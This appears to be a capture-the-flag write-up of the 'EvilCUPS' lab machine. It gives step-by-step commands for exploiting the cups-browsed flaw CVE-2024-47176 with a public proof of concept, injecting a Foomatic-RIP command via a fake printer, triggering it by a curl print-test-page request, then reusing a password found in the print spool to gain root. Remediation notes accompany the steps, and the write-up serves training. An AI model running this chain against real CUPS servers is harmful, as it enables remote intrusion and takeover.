EvilCUPS
Summary
I found a Linux print server exposing the CUPS web interface and the cups-browsed discovery service on port 631. A single crafted UDP packet made cups-browsed (CVE-2024-47176) register my own fake printer. Its malicious PPD injected a Foomatic-RIP command, and printing a test page from the unauthenticated CUPS web UI ran that command as the low-privileged 'lp' user, giving me a shell.
Reading a cached print-job file in /var/spool/cups, which lp could access by filename, exposed the root password in plaintext. That password gave full root access, including over SSH.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <command-to-run-as-lp>, <session-id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP sweep; finds SSH and CUPS/IPP on 631.
$ nmap -sV -p- --min-rate=1000 -T4 $TARGETExplicit UDP scan; 631/udp open|filtered is cups-browsed.
$ sudo nmap -sU -p 630-632 $TARGETAnonymous request to the CUPS printer list; no login required.
$ curl -sS --max-time 10 http://$TARGET:631/printers/FixRequire authentication for the CUPS web interfaceMedium
Exact commands 2
Public PoC that hosts the malicious IPP server and sends the UDP registration packet.
$ git clone https://github.com/ippsec/evil-cups && cd evil-cupsArg1 = $ATTACKER_IP (hosts the IPP server and receives any callback); arg2 = target IP; arg3 = the command injected as the FoomaticRIPCommandLine value, run as lp when a job prints.
$ python3 exploit.py $ATTACKER_IP $TARGET "<command-to-run-as-lp>"FixPatch or disable cups-browsed and restrict CUPS to trusted networksCritical
Exact commands 2
Loads the registered printer's management page to obtain the session cookie.
$ curl -sS -i --max-time 10 http://$TARGET:631/printers/10_10_17_24Submits the Print Test Page action; this is what actually fires the injected command as lp.
$ curl -sS -i --max-time 15 -H 'Cookie: org.cups.sid=<session-id>' --data 'org.cups.sid=<session-id>&OP=print-test-page' http://$TARGET:631/printers/10_10_17_24Exact commands 2
Confirm the landed shell is uid=lp before proceeding.
$ idPredictable CUPS job-cache filename (job 1, page 1); readable by lp even without directory listing rights.
$ cat /var/spool/cups/d00001-001FixStop storing credentials in print output and restrict access to the CUPS spoolCritical
Exact commands 4
From the lp shell; enter the password recovered from the cached job.
$ su -The same recovered password also works directly over SSH as root.
$ ssh root@$TARGETUser flag location on this host (not /home/lp/).
$ cat /home/htb/user.txtRoot flag, read after confirming id shows uid=0.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 631/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.